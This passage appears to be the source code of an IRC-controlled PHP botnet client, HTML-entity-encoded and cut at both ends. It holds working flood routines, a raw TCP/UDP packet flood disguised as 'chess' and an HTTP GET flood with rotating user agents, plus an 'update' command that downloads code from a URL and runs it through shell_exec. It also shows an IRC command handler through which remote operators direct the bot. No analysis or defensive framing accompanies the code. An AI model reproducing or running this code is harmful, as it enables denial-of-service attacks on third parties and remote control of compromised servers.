			$burst&amp;#160;=&amp;#160;$this-&amp;#62;config&amp;#91;&quot;chessbursttcp&quot;&amp;#93;;
			$ho&amp;#160;=&amp;#160;&quot;tcp&amp;#58;//&quot;;
			//print&amp;#40;&quot;using&amp;#160;tcp&amp;#160;$burst\n&quot;&amp;#41;;
		}
		//else&amp;#160;print&amp;#40;&quot;else&amp;#160;$t\n&quot;&amp;#41;;
		$ho&amp;#160;.=&amp;#160;$h;
		$lastping&amp;#160;=&amp;#160;0;
		$out&amp;#160;=&amp;#160;&quot;&quot;;
		for&amp;#40;$i=0;$i&amp;#60;$ps;$i++&amp;#41;&amp;#160;$out&amp;#160;.=&amp;#160;chr&amp;#40;mt_rand&amp;#40;1,&amp;#160;256&amp;#41;&amp;#41;;
		$i&amp;#160;=&amp;#160;0;
		$pakcnt&amp;#160;=&amp;#160;0;
		$timei&amp;#160;=&amp;#160;time&amp;#40;&amp;#41;;
		while&amp;#160;&amp;#40;1&amp;#41;&amp;#160;{
			if&amp;#160;&amp;#40;$p&amp;#160;&amp;#60;&amp;#160;1&amp;#160;||&amp;#160;$p&amp;#160;&amp;#62;&amp;#160;65000&amp;#41;&amp;#160;$po&amp;#160;=&amp;#160;mt_rand&amp;#40;1,65000&amp;#41;;
			else&amp;#160;$po&amp;#160;=&amp;#160;$p;
			@$fp&amp;#160;=&amp;#160;fsockopen&amp;#40;$ho,&amp;#160;$po,&amp;#160;$errno,&amp;#160;$errstr,&amp;#160;1&amp;#41;;
			if&amp;#160;&amp;#40;$fp&amp;#41;&amp;#160;{
				fwrite&amp;#40;$fp,&amp;#160;$out&amp;#41;;
				fclose&amp;#40;$fp&amp;#41;;
			}
			$i++;
			if&amp;#160;&amp;#40;$i&amp;#160;&amp;#62;=&amp;#160;$burst&amp;#41;&amp;#160;{
				$ctime&amp;#160;=&amp;#160;time&amp;#40;&amp;#41;;
				if&amp;#160;&amp;#40;$ctime&amp;#160;-&amp;#160;$lastping&amp;#160;&amp;#62;=&amp;#160;$this-&amp;#62;config&amp;#91;&quot;cpingdelay&quot;&amp;#93;&amp;#41;&amp;#160;{
					foreach&amp;#160;&amp;#40;$this-&amp;#62;bots&amp;#160;as&amp;#160;$botlol&amp;#41;&amp;#160;{
						$botlol-&amp;#62;raw&amp;#40;&quot;PING&quot;&amp;#41;;
					}
					$lastping&amp;#160;=&amp;#160;$ctime;
				}
				$pakcnt&amp;#160;+=&amp;#160;$i;
				if&amp;#160;&amp;#40;$ctime&amp;#160;-&amp;#160;$timei&amp;#160;&amp;#62;=&amp;#160;$ti&amp;#41;&amp;#160;return&amp;#160;$pakcnt;
				else&amp;#160;$i&amp;#160;=&amp;#160;0;
			}
		}
	}
	
	function&amp;#160;starthttp&amp;#40;$url,&amp;#160;$secs&amp;#41;
	{
		$agents&amp;#160;=&amp;#160;array&amp;#40;
			&quot;Mozilla/5.0&amp;#160;&amp;#40;Windows;&amp;#160;U;&amp;#160;MSIE&amp;#160;7.0;&amp;#160;Windows&amp;#160;NT&amp;#160;6.0;&amp;#160;en-US&amp;#41;&quot;,
			&quot;Mozilla/5.0&amp;#160;&amp;#40;Windows;&amp;#160;U;&amp;#160;Windows&amp;#160;NT&amp;#160;5.1;&amp;#160;en-US;&amp;#160;rv&amp;#58;1.8.1.11&amp;#41;&amp;#160;Gecko/20071127&amp;#160;Firefox/2.0.0.4/Megaupload&amp;#160;x.0&quot;,
			&quot;Mozilla/5.0&amp;#160;&amp;#40;Macintosh;&amp;#160;U;&amp;#160;PPC&amp;#160;Mac&amp;#160;OS&amp;#160;X&amp;#160;Mach-O;&amp;#160;en-US;&amp;#160;rv&amp;#58;1.0.1&amp;#41;&amp;#160;Gecko/20030306&amp;#160;Camino/0.7&quot;,
			&quot;Mozilla/5.0&amp;#160;&amp;#40;Windows;&amp;#160;U;&amp;#160;Windows&amp;#160;NT&amp;#160;5.1;&amp;#160;en-US;&amp;#160;rv&amp;#58;1.9&amp;#41;&amp;#160;Gecko/2008052906&amp;#160;Firefox/3.0&quot;,
			&quot;Opera/9.50&amp;#160;&amp;#40;Windows&amp;#160;NT&amp;#160;5.1;&amp;#160;U;&amp;#160;en-GB&amp;#41;&quot;,
			&quot;Opera/9.50&amp;#160;&amp;#40;Windows&amp;#160;NT&amp;#160;5.1;&amp;#160;U;&amp;#160;en-US&amp;#41;&quot;,
		&amp;#41;;
		$parsed&amp;#160;=&amp;#160;parse_url&amp;#40;$url&amp;#41;;
		if&amp;#160;&amp;#40;!$parsed&amp;#41;&amp;#160;return&amp;#160;false;
		$servip&amp;#160;=&amp;#160;gethostbyname&amp;#40;$parsed&amp;#91;&#039;host&#039;&amp;#93;&amp;#41;;
		if&amp;#160;&amp;#40;!$parsed&amp;#91;&#039;query&#039;&amp;#93;&amp;#41;&amp;#160;$parsed&amp;#91;&#039;query&#039;&amp;#93;&amp;#160;=&amp;#160;&quot;&quot;;
		$lastping&amp;#160;=&amp;#160;0;
		$i&amp;#160;=&amp;#160;0;
		$reqcnt&amp;#160;=&amp;#160;0;
		$timei&amp;#160;=&amp;#160;time&amp;#40;&amp;#41;;
		while&amp;#160;&amp;#40;1&amp;#41;&amp;#160;{
			if&amp;#160;&amp;#40;$sock&amp;#160;=&amp;#160;fsockopen&amp;#40;$servip,&amp;#160;80,&amp;#160;$errno,&amp;#160;$errstr,&amp;#160;1&amp;#41;&amp;#41;&amp;#160;{
				$packet&amp;#160;=&amp;#160;&quot;GET&amp;#160;&quot;.$parsed&amp;#91;&#039;path&#039;&amp;#93;.&quot;?&quot;.$parsed&amp;#91;&#039;query&#039;&amp;#93;.&quot;&amp;#160;HTTP/1.1\r\n&quot;
				&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;.&amp;#160;&quot;User-Agent&amp;#58;&amp;#160;&quot;.$agents&amp;#91;array_rand&amp;#40;$agents&amp;#41;&amp;#93;.&quot;\r\n&quot;
				&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;.&amp;#160;&quot;Host&amp;#58;&amp;#160;&quot;.$parsed&amp;#91;&#039;host&#039;&amp;#93;.&quot;\r\n&quot;
				&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;.&amp;#160;&quot;Connection&amp;#58;&amp;#160;Keep-Alive\r\n\r\n&quot;;
				fwrite&amp;#40;$sock,&amp;#160;$packet&amp;#41;;
				fclose&amp;#40;$sock&amp;#41;;
			}
			$i++;
			if&amp;#160;&amp;#40;$i&amp;#160;&amp;#62;=&amp;#160;$this-&amp;#62;config&amp;#91;&quot;httpburst&quot;&amp;#93;&amp;#41;&amp;#160;{
				$ctime&amp;#160;=&amp;#160;time&amp;#40;&amp;#41;;
				if&amp;#160;&amp;#40;$ctime-$lastping&amp;#160;&amp;#62;=&amp;#160;$this-&amp;#62;config&amp;#91;&quot;cpingdelay&quot;&amp;#93;&amp;#41;&amp;#160;{
					foreach&amp;#160;&amp;#40;$this-&amp;#62;bots&amp;#160;as&amp;#160;$botlol&amp;#41;&amp;#160;{
						$botlol-&amp;#62;raw&amp;#40;&quot;PING&quot;&amp;#41;;
					}
					$lastping&amp;#160;=&amp;#160;$ctime;
				}
				$reqcnt&amp;#160;+=&amp;#160;$i;
				if&amp;#160;&amp;#40;$ctime&amp;#160;-&amp;#160;$timei&amp;#160;&amp;#62;=&amp;#160;$secs&amp;#41;&amp;#160;return&amp;#160;$reqcnt;
				else&amp;#160;$i&amp;#160;=&amp;#160;0;
			}
		}
	}
	
/&amp;#42;	function&amp;#160;spawnfakethreads&amp;#40;$cmd,&amp;#160;$qty&amp;#41;
	{
		if&amp;#160;&amp;#40;stristr&amp;#40;PHP_OS,&amp;#160;&quot;WIN&quot;&amp;#41;&amp;#41;&amp;#160;$fullcmd&amp;#160;=&amp;#160;&quot;start&amp;#160;$cmd&quot;;
		else&amp;#160;$fullcmd&amp;#160;=&amp;#160;&quot;$cmd&amp;#160;&amp;#62;&amp;#160;/dev/null&amp;#160;2&amp;#62;&amp;amp;1&amp;#160;&amp;amp;&quot;;
		for&amp;#160;&amp;#40;$i=0;&amp;#160;$i&amp;#60;$qty;&amp;#160;$i++&amp;#41;&amp;#160;{
			shell_exec&amp;#40;$fullcmd&amp;#41;;
		}
	}&amp;#42;/
	
	function&amp;#160;update&amp;#40;$url,&amp;#160;$killprocess,&amp;#160;$runcmd,&amp;#160;$sourcebot,&amp;#160;$source&amp;#41;
	{
		//$starttime&amp;#160;=&amp;#160;time&amp;#40;&amp;#41;;
		$updcode&amp;#160;=&amp;#160;file_get_contents&amp;#40;$url&amp;#41;;
		if&amp;#160;&amp;#40;$updcode&amp;#41;&amp;#160;$sourcebot-&amp;#62;say&amp;#40;&quot;Got&amp;#160;&quot;.strlen&amp;#40;$updcode&amp;#41;.&quot;&amp;#160;bytes&quot;,&amp;#160;$source&amp;#41;;
		else&amp;#160;return&amp;#160;false;
		//$destfile&amp;#160;=&amp;#160;$this-&amp;#62;randtempfile&amp;#40;&amp;#41;;
		$destfile&amp;#160;=&amp;#160;tempnam&amp;#40;&quot;/tmp&quot;,&amp;#160;&quot;pdata&quot;&amp;#41;;
		$fh&amp;#160;=&amp;#160;fopen&amp;#40;$destfile,&amp;#160;&quot;w&quot;&amp;#41;;
		fwrite&amp;#40;$fh,&amp;#160;$updcode&amp;#41;;
		fclose&amp;#40;$fh&amp;#41;;
		$this-&amp;#62;spawnfakethreads&amp;#40;$runcmd.&quot;&amp;#160;&quot;.$destfile,&amp;#160;1&amp;#41;;
		unlink&amp;#40;$destfile&amp;#41;;
		if&amp;#160;&amp;#40;$killprocess&amp;#160;=&amp;#160;1&amp;#41;&amp;#160;die&amp;#40;&quot;Updating&quot;&amp;#41;;
	}
	
/&amp;#42;	function&amp;#160;createchessfile&amp;#40;&amp;#41;
	{
		$tmpfile&amp;#160;=&amp;#160;tempnam&amp;#40;&quot;datab&quot;,&amp;#160;&quot;/tmp&quot;&amp;#41;;
		$fh&amp;#160;=&amp;#160;fopen&amp;#40;$tmpfile,&amp;#160;&quot;w&quot;&amp;#41;;
		fwrite&amp;#40;$fh,&amp;#160;base64_decode&amp;#40;$this-&amp;#62;csrc&amp;#41;&amp;#41;;
		fclose&amp;#40;$fh&amp;#41;;
		return&amp;#160;$tmpfile;
	}&amp;#42;/
}

class&amp;#160;bBot
{
	var&amp;#160;$currenthost;
	var&amp;#160;$currentport;
	var&amp;#160;$currentident;
	var&amp;#160;$currentnick&amp;#160;=&amp;#160;&quot;unset&quot;;
	var&amp;#160;$channels&amp;#160;=&amp;#160;array&amp;#40;&amp;#41;;
	var&amp;#160;$allowcontrol&amp;#160;=&amp;#160;false;
	var&amp;#160;$socket;
	var&amp;#160;$lastreconnect;
	
	function&amp;#160;setdestination&amp;#40;$host,&amp;#160;$port,&amp;#160;$ident&amp;#41;
	{
		$this-&amp;#62;currenthost&amp;#160;=&amp;#160;$host;
		$this-&amp;#62;currentport&amp;#160;=&amp;#160;$port;
		$this-&amp;#62;currentident&amp;#160;=&amp;#160;$ident;
	}
	
	function&amp;#160;connect&amp;#40;&amp;#41;
	{
		$this-&amp;#62;socket&amp;#160;=&amp;#160;fsockopen&amp;#40;$this-&amp;#62;currenthost,&amp;#160;$this-&amp;#62;currentport,&amp;#160;$errno,&amp;#160;$errstr,&amp;#160;5&amp;#41;;
		if&amp;#160;&amp;#40;feof&amp;#40;$this-&amp;#62;socket&amp;#41;&amp;#41;
		{
			print&amp;#40;&quot;connection&amp;#160;error&amp;#58;&amp;#160;$errstr&amp;#160;&amp;#91;$errno&amp;#93;\n&quot;&amp;#41;;
			return&amp;#160;false;
		}
		stream_set_blocking&amp;#40;$this-&amp;#62;socket,&amp;#160;0&amp;#41;;
		$this-&amp;#62;raw&amp;#40;&quot;USER&amp;#160;&quot;.$this-&amp;#62;currentident.&quot;&amp;#160;127.0.0.1&amp;#160;localhost&amp;#160;&amp;#58;&quot;.php_uname&amp;#40;&amp;#41;.&quot;&quot;&amp;#41;;
		$this-&amp;#62;raw&amp;#40;&quot;NICK&amp;#160;&quot;.$this-&amp;#62;currentnick&amp;#41;;
		return&amp;#160;true;
	}
	
	function&amp;#160;disconnect&amp;#40;&amp;#41;
	{
		$this-&amp;#62;raw&amp;#40;&quot;QUIT&amp;#160;&amp;#58;Disconnecting&quot;&amp;#41;;
		fclose&amp;#40;$this-&amp;#62;socket&amp;#41;;
	}
	
	function&amp;#160;setnick&amp;#40;$nick,&amp;#160;$set&amp;#160;=&amp;#160;false&amp;#41;
	{
		if&amp;#160;&amp;#40;$set&amp;#41;&amp;#160;$this-&amp;#62;raw&amp;#40;&quot;NICK&amp;#160;$nick&quot;&amp;#41;;
		$this-&amp;#62;currentnick&amp;#160;=&amp;#160;$nick;
	}
	
	function&amp;#160;setcontrol&amp;#40;$control&amp;#41;
	{
		$this-&amp;#62;allowcontrol&amp;#160;=&amp;#160;$control;
	}
	
	function&amp;#160;joinchans&amp;#40;&amp;#41;
	{
		foreach&amp;#160;&amp;#40;$this-&amp;#62;channels&amp;#160;as&amp;#160;$chan&amp;#41;&amp;#160;$this-&amp;#62;raw&amp;#40;&quot;JOIN&amp;#160;$chan&quot;&amp;#41;;
	}
	
	function&amp;#160;raw&amp;#40;$text&amp;#41;
	{
		fwrite&amp;#40;$this-&amp;#62;socket,&amp;#160;$text.&quot;\r\n&quot;&amp;#41;;
	}
	
	function&amp;#160;say&amp;#40;$text,&amp;#160;$target,&amp;#160;$notice&amp;#160;=&amp;#160;false&amp;#41;
	{
		if&amp;#160;&amp;#40;!$notice&amp;#41;&amp;#160;$this-&amp;#62;raw&amp;#40;&quot;PRIVMSG&amp;#160;$target&amp;#160;&amp;#58;$text&quot;&amp;#41;;
		else&amp;#160;$this-&amp;#62;raw&amp;#40;&quot;NOTICE&amp;#160;$target&amp;#160;&amp;#58;$text&quot;&amp;#41;;
	}
	
	function&amp;#160;isconnected&amp;#40;&amp;#41;
	{
		if&amp;#160;&amp;#40;$this-&amp;#62;socket&amp;#160;&amp;amp;&amp;amp;amp;&amp;#160;!feof&amp;#40;$this-&amp;#62;socket&amp;#41;&amp;#41;&amp;#160;return&amp;#160;true;
		else&amp;#160;return&amp;#160;false;
	}
	
	function&amp;#160;parsebuffer&amp;#40;&amp;#41;
	{
		global&amp;#160;$mainclass;
		$buf&amp;#160;=&amp;#160;trim&amp;#40;fgets&amp;#40;$this-&amp;#62;socket,&amp;#160;$mainclass-&amp;#62;config&amp;#91;&quot;sockbuffer&quot;&amp;#93;&amp;#41;&amp;#41;;
		if&amp;#160;&amp;#40;!$buf&amp;#160;||&amp;#160;strlen&amp;#40;$buf&amp;#41;&amp;#160;&amp;#60;&amp;#160;3&amp;#41;
		{
			usleep&amp;#40;100000&amp;#41;;
			return&amp;#160;false;
		}
		if&amp;#160;&amp;#40;substr&amp;#40;$buf,0,6&amp;#41;&amp;#160;==&amp;#160;&quot;PING&amp;#160;&amp;#58;&quot;&amp;#41;&amp;#160;$this-&amp;#62;raw&amp;#40;&quot;PONG&amp;#160;&amp;#58;&quot;.substr&amp;#40;$buf,6&amp;#41;&amp;#41;;
		$cmd&amp;#160;=&amp;#160;explode&amp;#40;&quot;&amp;#160;&quot;,&amp;#160;$buf&amp;#41;;
		if&amp;#160;&amp;#40;isset&amp;#40;$cmd&amp;#91;1&amp;#93;&amp;#41;&amp;#41;
		{
			switch&amp;#160;&amp;#40;$cmd&amp;#91;1&amp;#93;&amp;#41;
			{
				case&amp;#160;&quot;001&quot;&amp;#58;
					$this-&amp;#62;raw&amp;#40;&quot;MODE&amp;#160;&quot;.$this-&amp;#62;currentnick.&quot;&amp;#160;&amp;#58;&quot;.$mainclass-&amp;#62;config&amp;#91;&quot;modes&quot;&amp;#93;&amp;#41;;
					$this-&amp;#62;joinchans&amp;#40;&amp;#41;;
					break;
				case&amp;#160;&quot;433&quot;&amp;#58;
					$this-&amp;#62;raw&amp;#40;&quot;NICK&amp;#160;{$this-&amp;#62;currentnick}&quot;&amp;#41;;
					break;
				case&amp;#160;&quot;PRIVMSG&quot;&amp;#58;
					if&amp;#160;&amp;#40;!$this-&amp;#62;allowcontrol&amp;#41;&amp;#160;break;
					$host&amp;#160;=&amp;#160;explode&amp;#40;&quot;@&quot;,&amp;#160;$cmd&amp;#91;0&amp;#93;&amp;#41;;
					$text&amp;#160;=&amp;#160;substr&amp;#40;$cmd&amp;#91;3&amp;#93;,&amp;#160;1&amp;#41;;
					for&amp;#160;&amp;#40;$i=4;&amp;#160;$i&amp;#60;1024;&amp;#160;$i++&amp;#41;&amp;#160;{
						if&amp;#160;&amp;#40;isset&amp;#40;$cmd&amp;#91;$i&amp;#93;&amp;#41;&amp;#41;&amp;#160;$text&amp;#160;.=&amp;#160;&quot;&amp;#160;&quot;.$cmd&amp;#91;$i&amp;#93;;
						else&amp;#160;break;
					}
					if&amp;#160;&amp;#40;substr&amp;#40;$text,&amp;#160;0,&amp;#160;1&amp;#41;&amp;#160;==&amp;#160;$mainclass-&amp;#62;config&amp;#91;&quot;trigger&quot;&amp;#93;&amp;#41;&amp;#160;{
						$textnoprefix&amp;#160;=&amp;#160;substr&amp;#40;$text,&amp;#160;1&amp;#41;;
						$textsplit&amp;#160;=&amp;#160;explode&amp;#40;&quot;&amp;#160;&quot;,&amp;#160;$textnoprefix&amp;#41;;
						//if&amp;#160;&amp;#40;$host&amp;#91;1&amp;#93;&amp;#160;==&amp;#160;$mainclass-&amp;#62;config&amp;#91;&quot;adminhost&quot;&amp;#93;&amp;#41;&amp;#160;$this-&amp;#62;parsecommand&amp;#40;$textsplit,&amp;#160;$cmd&amp;#91;2&amp;#93;,&amp;#160;$cmd&amp;#91;0&amp;#93;&amp;#41;;
						foreach&amp;#160;&amp;#40;$mainclass-&amp;#62;config&amp;#91;&quot;adminhosts&quot;&amp;#93;&amp;#160;as&amp;#160;$admhost&amp;#41;&amp;#160;{
							if&amp;#160;&amp;#40;stristr&amp;#40;$host&amp;#91;1&amp;#93;,&amp;#160;$admhost&amp;#41;&amp;#41;&amp;#160;{
								$this-&amp;#62;parsecommand&amp;#40;$textsplit,&amp;#160;$cmd&amp;#91;2&amp;#93;,&amp;#160;$cmd&amp;#91;0&amp;#93;&amp;#41;;
								break;
							}
						}
					}
					break;
				case&amp;#160;&quot;KICK&quot;&amp;#58;
					if&amp;#160;&amp;#40;$cmd&amp;#91;3&amp;#93;&amp;#160;==&amp;#160;$this-&amp;#62;currentnick&amp;#41;&amp;#160;$this-&amp;#62;joinchans&amp;#40;&amp;#41;;
					break;
			}
		}
	}
	
	function&amp;#160;parsecommand&amp;#40;$args,&amp;#160;$source,&amp;#160;$hostname&amp;#160;=&amp;#160;&quot;&quot;&amp;#41;
	{
		global&amp;#160;$mainclass;
		$numargs&amp;#160;=&amp;#160;count&amp;#40;$args&amp;#41;-1;
		switch&amp;#160;&amp;#40;$args&amp;#91;0&amp;#93;&amp;#41;&amp;#160;{
			//&amp;#160;ADMIN&amp;#160;COMMANDS&amp;#160;GO&amp;#160;HERE
			case&amp;#160;&quot;test&quot;&amp;#58;
				$this-&amp;#62;say&amp;#40;&quot;hello&quot;,&amp;#160;$source&amp;#41;;
				break;
			case&amp;#160;&quot;status&quot;&amp;#58;
				$this-&amp;#62;say&amp;#40;&quot;Connected&amp;#160;to&amp;#160;&quot;.$mainclass-&amp;#62;activeconnections&amp;#40;&amp;#41;.&quot;&amp;#160;server&amp;#40;s&amp;#41;.&quot;,&amp;#160;$source&amp;#41;;
				break;
			case&amp;#160;&quot;info&quot;&amp;#58;
				if&amp;#160;&amp;#40;@ini_get&amp;#40;&quot;safe_mode&quot;&amp;#41;&amp;#160;or&amp;#160;strtolower&amp;#40;@ini_get&amp;#40;&quot;safe_mode&quot;&amp;#41;&amp;#41;&amp;#160;==&amp;#160;&quot;on&quot;&amp;#41;&amp;#160;{
					$safemode&amp;#160;=&amp;#160;&quot;on&quot;;
				}&amp;#160;else&amp;#160;{
					$safemode&amp;#160;=&amp;#160;&quot;off&quot;;
				}
				$uname&amp;#160;=&amp;#160;php_uname&amp;#40;&amp;#41;;
				$this-&amp;#62;say&amp;#40;&quot;$uname&amp;#160;&amp;#40;safe&amp;#58;&amp;#160;$safemode&amp;#41;&quot;,&amp;#160;$source&amp;#41;;
				if&amp;#160;&amp;#40;$_SERVER&amp;#91;&#039;SERVER_NAME&#039;&amp;#93;&amp;#160;&amp;amp;&amp;amp;amp;&amp;#160;$_SERVER&amp;#91;&#039;REQUEST_URI&#039;&amp;#93;&amp;#41;&amp;#160;$this-&amp;#62;say&amp;#40;&quot;http&amp;#58;//&quot;&amp;#160;.&amp;#160;$_SERVER&amp;#91;&#039;SERVER_NAME&#039;&amp;#93;&amp;#160;.&amp;#160;&quot;&quot;&amp;#160;.&amp;#160;$_SERVER&amp;#91;&#039;REQUEST_URI&#039;&amp;#93;&amp;#160;.&amp;#160;&quot;&quot;,&amp;#160;$source&amp;#41;;
				break;
			case&amp;#160;&quot;die&quot;&amp;#58;
				$this-&amp;#62;raw&amp;#40;&quot;QUIT&amp;#160;&amp;#58;Die&amp;#160;command&amp;#160;received&amp;#160;from&amp;#160;$source&quot;&amp;#41;;
				die&amp;#40;&amp;#41;;
				break;
			case&amp;#160;&quot;chess&quot;&amp;#58;
				if&amp;#160;&amp;#40;$numargs&amp;#160;&amp;#60;&amp;#160;5&amp;#41;&amp;#160;{
					$this-&amp;#62;say&amp;#40;&quot;Usage&amp;#58;&amp;#160;&quot;.$mainclass-&amp;#62;config&amp;#91;&quot;trigger&quot;&amp;#93;.&quot;chess&amp;#160;&amp;#91;type&amp;#160;&amp;#40;tcp/udp&amp;#41;&amp;#93;&amp;#160;&amp;#91;host&amp;#93;&amp;#160;&amp;#91;port&amp;#93;&amp;#160;&amp;#91;bytes&amp;#93;&amp;#160;&amp;#91;secs&amp;#93;&quot;,&amp;#160;$source&amp;#41;;
					break;
				}
				if&amp;#160;&amp;#40;$args&amp;#91;1&amp;#93;&amp;#160;!=&amp;#160;&quot;tcp&quot;&amp;#160;&amp;amp;&amp;amp;amp;&amp;#160;$args&amp;#91;1&amp;#93;&amp;#160;!=&amp;#160;&quot;udp&quot;&amp;#41;&amp;#160;{
					$this-&amp;#62;say&amp;#40;&quot;Invalid&amp;#160;type&amp;#160;specified&quot;,&amp;#160;$source&amp;#41;;
					break;
				}
				$this-&amp;#62;say&amp;#40;&quot;Chess&amp;#160;starting&quot;,&amp;#160;$source&amp;#41;;
				$psizeint&amp;#160;=&amp;#160;intval&amp;#40;$args&amp;#91;4&amp;#93;&amp;#41;;
				$secsint&amp;#160;=&amp;#160;intval&amp;#40;$args&amp;#91;5&amp;#93;&amp;#41;;
				$pakits&amp;#160;=&amp;#160;$mainclass-&amp;#62;startchess&amp;#40;$args&amp;#91;1&amp;#93;,&amp;#160;$args&amp;#91;2&amp;#93;,&amp;#160;intval&amp;#40;$args&amp;#91;3&amp;#93;&amp;#41;,&amp;#160;$psizeint,&amp;#160;$secsint&amp;#41;;
				$mbsent&amp;#160;=&amp;#160;round&amp;#40;&amp;#40;$psizeint&amp;#42;$pakits&amp;#41;/1048576,&amp;#160;2&amp;#41;;
				$this-&amp;#62;say&amp;#40;&quot;Chess&amp;#160;finished&amp;#160;&amp;#40;&quot;.$args&amp;#91;1&amp;#93;.&quot;&amp;#41;&amp;#160;-&amp;#160;host&amp;#58;&amp;#160;&quot;.$args&amp;#91;2&amp;#93;.&quot;&amp;#58;&quot;.$args&amp;#91;3&amp;#93;.&quot;,&amp;#160;psize&amp;#58;&amp;#160;&quot;.$args&amp;#91;4&amp;#93;.&quot;,&amp;#160;secs&amp;#58;&amp;#160;&quot;.$args&amp;#91;5&amp;#93;.&quot;,&amp;#160;sent&amp;#58;&amp;#160;&quot;.$mbsent.&quot;&amp;#160;megabytes&amp;#160;at&amp;#160;&quot;.round&amp;#40;$mbsent/$secsint,&amp;#160;2&amp;#41;.&quot;&amp;#160;mb/s&quot;,&amp;#160;$source&amp;#41;;
				break;
/&amp;#42;			case&amp;#160;&quot;stopchess&quot;&amp;#58;
				if&amp;#160;&amp;#40;$mainclass-&amp;#62;chessrunning&amp;#41;&amp;#160;$this-&amp;#62;say&amp;#40;&quot;Stopping&amp;#160;chess!&quot;,&amp;#160;$source&amp;#41;;
				else&amp;#160;$this-&amp;#62;say&amp;#40;&quot;You&#039;re&amp;#160;not&amp;#160;playing&amp;#160;chess&amp;#160;you&amp;#160;asshat&quot;,&amp;#160;$source&amp;#41;;
				$mainclass-&amp;#62;stopchess&amp;#160;=&amp;#160;true;
				break;&amp;#42;/
			case&amp;#160;&quot;update&quot;&amp;#58;
				if&amp;#160;&amp;#40;$numargs&amp;#160;&amp;#60;&amp;#160;3&amp;#41;&amp;#160;{
					$this-&amp;#62;say&amp;#40;&quot;Usage&amp;#58;&amp;#160;&quot;.$mainclass-&amp;#62;config&amp;#91;&quot;trigger&quot;&amp;#93;.&quot;update&amp;#160;&amp;#91;url&amp;#93;&amp;#160;&amp;#91;run&amp;#160;with&amp;#93;&amp;#160;&amp;#91;kill&amp;#160;this&amp;#160;process&amp;#160;&amp;#40;0/1&amp;#41;&amp;#93;&quot;,&amp;#160;$source&amp;#41;;
					break;
				}
				$this-&amp;#62;say&amp;#40;&quot;Starting&amp;#160;update&amp;#160;download...&quot;,&amp;#160;$source&amp;#41;;
				if&amp;#160;&amp;#40;!$mainclass-&amp;#62;update&amp;#40;$args&amp;#91;1&amp;#93;,&amp;#160;$args&amp;#91;2&amp;#93;,&amp;#160;intval&amp;#40;$args&amp;#91;3&amp;#93;&amp;#41;,&amp;#160;$this,&amp;#160;$source&amp;#41;&amp;#41;&amp;#160;$this-&amp;#62;say&amp;#40;&quot;Error&amp;#160;downloading&amp;#160;file,&amp;#160;aborting.&quot;,&amp;#160;$source&amp;#41;;
				break;
			case&amp;#160;&quot;connections&quot;&amp;#58;
				foreach&amp;#160;&amp;#40;$mainclass-&amp;#62;bots&amp;#160;as&amp;#160;$botid&amp;#160;=&amp;#62;&amp;#160;$botlol&amp;#41;&amp;#160;if&amp;#160;&amp;#40;$botlol-&amp;#62;isconnected&amp;#40;&amp;#41;&amp;#41;&amp;#160;$this-&amp;#62;say&amp;#40;&quot;&amp;#40;\2&quot;.$botid.&quot;\2&amp;#41;&amp;#160;&quot;.$botlol-&amp;#62;currenthost.&quot;&amp;#58;&quot;.$botlol-&amp;#62;currentport.&quot;&amp;#160;-&amp;#160;&quot;.$botlol-&amp;#62;currentnick,&amp;#160;$source&amp;#41;;
				break;
			case&amp;#160;&quot;connect&quot;&amp;#58;
				if&amp;#160;&amp;#40;$numargs&amp;#160;&amp;#60;&amp;#160;5&amp;#41;&amp;#160;{
					$this-&amp;#62;say&amp;#40;&quot;Usage&amp;#58;&amp;#160;&quot;.$mainclass-&amp;#62;config&amp;#91;&quot;trigger&quot;&amp;#93;.&quot;connect&amp;#160;&amp;#91;host&amp;#93;&amp;#160;&amp;#91;port&amp;#93;&amp;#160;&amp;#91;nick&amp;#160;&amp;#40;0=rand&amp;#41;&amp;#93;&amp;#160;&amp;#91;channels&amp;#160;&amp;#40;,&amp;#41;&amp;#93;&amp;#160;&amp;#91;control&amp;#160;&amp;#40;0,1&amp;#41;&amp;#93;&quot;,&amp;#160;$source&amp;#41;;
					break;
				}
				$this-&amp;#62;say&amp;#40;&quot;Connecting&amp;#160;to&amp;#160;&quot;.$args&amp;#91;1&amp;#93;.&quot;...&quot;,&amp;#160;$source&amp;#41;;
				$newbot&amp;#160;=&amp;#160;new&amp;#160;bBot;
				if&amp;#160;&amp;#40;$args&amp;#91;3&amp;#93;&amp;#160;!=&amp;#160;&quot;0&quot;&amp;#41;&amp;#160;$newbot-&amp;#62;setnick&amp;#40;$args&amp;#91;3&amp;#93;&amp;#41;;
				else&amp;#160;$newbot-&amp;#62;setnick&amp;#40;$mainclass-&amp;#62;generatenick&amp;#40;&amp;#41;&amp;#41;;
				if&amp;#160;&amp;#40;$args&amp;#91;5&amp;#93;&amp;#160;==&amp;#160;&quot;1&quot;&amp;#41;&amp;#160;$newbot-&amp;#62;setcontrol&amp;#40;true&amp;#41;;
				else&amp;#160;$newbot-&amp;#62;setcontrol&amp;#40;false&amp;#41;;
				$newchannels&amp;#160;=&amp;#160;explode&amp;#40;&quot;,&quot;,&amp;#160;$args&amp;#91;4&amp;#93;&amp;#41;;
				foreach&amp;#160;&amp;#40;$newchannels&amp;#160;as&amp;#160;$newchan&amp;#41;&amp;#160;$newbot-&amp;#62;channels&amp;#91;&amp;#93;&amp;#160;=&amp;#160;$newchan;
				$newbot-&amp;#62;setdestination&amp;#40;$args&amp;#91;1&amp;#93;,$args&amp;#91;2&amp;#93;,$mainclass-&amp;#62;generateident&amp;#40;&amp;#41;&amp;#41;;
				$newbot-&amp;#62;connect&amp;#40;&amp;#41;;
				if&amp;#160;&amp;#40;$newbot-&amp;#62;isconnected&amp;#40;&amp;#41;&amp;#41;&amp;#160;{
					$mainclass-&amp;#62;bots&amp;#91;&amp;#93;&amp;#160;=&amp;#160;$newbot;
					$this-&amp;#62;say&amp;#40;&quot;Connection&amp;#160;successful,&amp;#160;use&amp;#160;&quot;disconnect&quot;&amp;#160;to&amp;#160;disconnect.&quot;,&amp;#160;$source&amp;#41;;
				}
				else&amp;#160;$this-&amp;#62;say&amp;#40;&quot;Connection&amp;#160;error!&quot;,&amp;#160;$source&amp;#41;;
				break;
			case&amp;#160;&quot;disconnect&quot;&amp;#58;
				if&amp;#160;&amp;#40;$numargs&amp;#160;&amp;#60;&amp;#160;1&amp;#41;&amp;#160;{
